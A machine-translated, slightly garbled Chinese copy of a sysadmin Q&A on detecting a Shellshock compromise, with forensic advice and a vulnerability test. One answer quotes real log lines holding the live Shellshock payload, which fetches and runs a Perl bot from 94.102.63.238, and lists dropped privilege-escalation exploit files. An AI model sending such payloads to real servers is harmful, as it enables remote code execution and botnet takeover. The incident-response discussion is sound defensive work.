Shellshock:我怎么知道我的服务器是否被攻破+可疑的文件,以寻找

我希望有人可以帮助回答的三个问题:

  1. 我怎么知道我的服务器是否已经因为Shellshock错误而被入侵?
  2. 如果它被破坏,是否有一个特定的文件夹,我应该寻找恶意文件?
  3. 恶意文件如何看起来像?

我正在运行CentOS 6,LEMP堆栈

我怎么知道我的服务器是否已经因为Shellshock错误而被入侵?

你没有。 这是一个安全漏洞的想法。 如果你不得不点击让cookies进入? 确定/取消它不会有太多的漏洞。

你可能有一些运气检查你的攻击媒介的日志,但鉴于如此多的服务是脆弱的,并不是所有的人都login每一个访问,它可能无法确定地发现一个攻击。

如果它被攻破,是否有一个特定的文件夹,我应该寻找恶意文件?

不,一个恶意文件可能在任何地方。

常见的rootkits安装在/root//tmp或其中一个二进制path中,但实际上它们可以在任何地方。 他们可能有一个类似于真实服务的名字,或者类似于“ IPTables ”或“ kernel-bin ”的“重要”,但也可以是随机的string或与真正的二进制名称相同的名称(只是在不同的path中) 。 你可以在/etc/rc.local发现一个非常明显的rootkit加载,或者通过netstat -neopa进行连接。 在top -c查找可疑进程名称top -c

一个不太常见的,更难find的rootkitreplace了一个库,或者将自己加载为一个shim库并拦截系统调用。 这几乎不可能find,除非您对系统上运行的每一件事进行追踪,并将行为与已知良好的系统或源代码的预期行为进行比较。

只是重新加载系统会更快,更容易,更确定。

恶意文件如何看起来像?

可能像任何其他常规的ELF二进制或库。 它也可能是一个脚本。

总而言之,如果您认为您的系统可能已经被入侵,请将系统视为已经被入侵并采取必要的措施。

shellshock不是蠕虫,所以没有文件可以查找。 Shellshock是一种攻击networking获取条目的方式。 一旦进入,谁知道攻击者会做什么。

我曾经看到过一个利用这个bug的方法,那就是将IRC bot安装为/var/tmp/x 。 但总的来说,没有特定的文件可以查找,因为它们可能在任何地方或任何地方。

如果您通过Web服务器受到威胁,那么Web服务器用户拥有的任何新文件或进程都将是可疑的。

如果攻击者首先使用bash缺陷进入系统,接下来是局部漏洞成为root ,那么几乎不可能发现。

也看看这个类似的问题 。

我会回应从suprjami的答案,并说如果你的系统是脆弱的,那么你应该把它视为妥协。

如果您正在运行apache,则可以使用以下命令检查Shellshock入侵企图的日志:

 [root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;" 

这个命令从Apache的访问日志中提取所有包含“cgi”的行(默认情况下称为access_log,access_log.1,access_log.2等),然后用正则expression式将其pipe理到egrep中。

(来源: http : //linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )

由于Shellshock有几个攻击向量,其中一些对于一般公众来说是未知的,或者是由一个自定义的CGI脚本引起的,所以没有确定的方法来判断你是否被攻陷。

除了通常的“让我们看看有些系统文件是否发生了变化或者最近发生了可疑的事情”之类的方法之外,您可能需要关注您的服务器行为。

  1. 突然有更多的networkingstream量?
  2. CPU /内存使用量变化很大吗?
  3. 磁盘空间吃得多还是比平时多得多的I / O?
  4. netstat显示奇怪的networking连接或ps aux显示进程你不认识?
  5. 你的服务器突然发出比以前更多的电子邮件吗?

如果您有适当的服务器运行状况监视(如Zabbix )启动并运行,它也可以帮助您找出安全漏洞。 您还可以将系统文件的MD5 / SHA总和与已知的良好备份进行比较。

基本上就像你的服务器已经被入侵一样,并且调查你所能想到的一切。

我只是很高兴地清理了一个受损的老Plesk系统。 第一件事就是让大量的进程开始监听一些端口,其他的尝试从原来的扫描服务器上下载代码。

  lsof -i -n ... perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT) perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT) perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED) ... 

在日志之后,我发现最终的漏洞是一个cgi_wrapper脚本,应该保护和屏蔽这个系统的东西,实际上是cgi_wrapper个洞打入保护层。 以下是来自探测器和成功攻击的一些日志行:

这些是来自access_log的行,因为这只是一个示例,请注意两行中的200行,而其他行则以404行失败。您不必担心具有404行的行,因为这些行不成功, 200的那些却做到了。 这些攻击的模式总是相同的:1.find一个易受攻击的cgi脚本,使用shellshock exploit来下载并执行perl脚本,再次删除perl脚本。 perl脚本实际上会下载一些源文件(tgz)编译它们并运行它们,从我所看到的它们至less包括一个后门和一个自动更新机制,再加上看起来像利用漏洞一样来获得提升的执行特权。 所有的初始脚本实际上是作为包装器提供的用户执行的,而后来的服务以PPID 1(从根进程启动)开始)。

 94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'" 

在这里相应的error_log行:

 [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80... [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected. [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response... [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length: [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079 [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K) [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl' [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] . [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100% [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5 [Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli [Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper [Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80... [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected. [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response... [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length: [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079 [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K) [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl' [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] . [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100% [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5 [Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli [Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper [Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed 

下载到/ tmp的文件正如人们所猜测的,我没有bot.pl文件,因为它被立即删除。

 -rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check -rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls -rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz -rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c cd ./expls drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1 drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2 -rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm -rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c -rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug -rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c -rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config -rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c -rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2 -rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c -rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c -rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c -rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl -rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c -rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c -rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson -rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c -rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin -rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c -rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit -rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c -rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload -rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2 -rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds -rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c -rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run -rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex -rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c -rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2 -rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c -rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3 -rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c -rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell -rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c -rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock -rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c -rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start -rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32 -rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c -rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c 

过了一段时间,我注意到像中国这样的地方通常不会访问我们的服务器的ssh连接。 我修补了bash作为一个紧急措施(本来可以从FSF网站获得修补源,而不仅仅是真正的OLD源文件和补丁文件(其中之一最初不适用)系统安排完整现在擦,所以如果有人正在寻找关于袭击的其他事情,你可以问,但尽快做。

这个答案与Shellshock没有什么特别的关系,但是对于任何你认为会受到影响的系统来说,

第二个注意事项:无法确定是否已从受感染的根系统恢复。 你唯一的行为是破坏和重新configuration系统

尝试获得一个干净的静态构build的rpm并运行命令rpm --verify --all 。 它会告诉你哪些文件属于一个包已被修改。 但是既然你可以在一个受损的系统上运行它,你可能不完全相信结果。 然后,您可以简单地使用rpm -qa来获取软件包列表,使用相同的软件包版本重新创build另一个系统,然后在两个系统上find / -type f |xargs -r -n 100 md5sum |sort并查看不同之处。 另外,如果您正确pipe理系统(意味着不在/ opt或/ usr / local / bin或其他非托pipe位置之外手动安装任何内容),则可以search系统中不属于某个包的所有文件, find / -type f -exec rpm -qf {} \; 。 它应该显示未知文件的错误。 我让你不要把积极的作为一个练习;-)

为了与密码certificate定期做同样的事情,有一个名为Tripwire的工具,你仍然可以find免费的版本。 这是旧的,但它的工作。 另一个更新的select是AIDE ,但是在几年前我看到它时并没有使用encryption。

有一些工具可以帮助。 例如寻找包rkhunter 。 它将扫描您的计算机的已知根工具包,并利用文件。

很明显,这些工具应该在系统遭到破坏之前就已经安装和configuration好了,如果你的系统被成功攻击到root用户,这些工具也可能成为攻击目标。 此外,这些工具可能会非常紧张,并会使您的系统变慢。

要知道您的服务器是否受到攻击,唯一的方法是在文件的某处签名,并将当前的文件与之进行比较。 不过,你可以看看你是否脆弱。

  1. 你不能。 假设你的机器确实被入侵,你的通常的监视工具(ps,top,lsof,…)已经被类似的输出看起来正常的工具所取代,隐藏了可疑的活动是合理的
  2. 没有。 可以在任何带有可执行文件的文件夹中。
  3. 任何可执行文件或脚本(ELF二进制,.shell脚本,…),包括常用的监视工具

如何find你的Linux机器是否受到威胁。

 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 

如果如果返回

 vulnerable this is a test 

你是。

要运行更新,请在root下运行以下命令

 sudo yum update bash 

您可以通过运行以下命令(由CSA提供的代码)来检查您是否易受攻击。 打开terminal窗口并在$提示符处input以下命令:

 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 

如果你的bash不是最新的,它会打印:

 vulnerable this is a test 

如果你的bash是最新的,你只会看到:

 this is a test 

这个链接后面有更多的细节。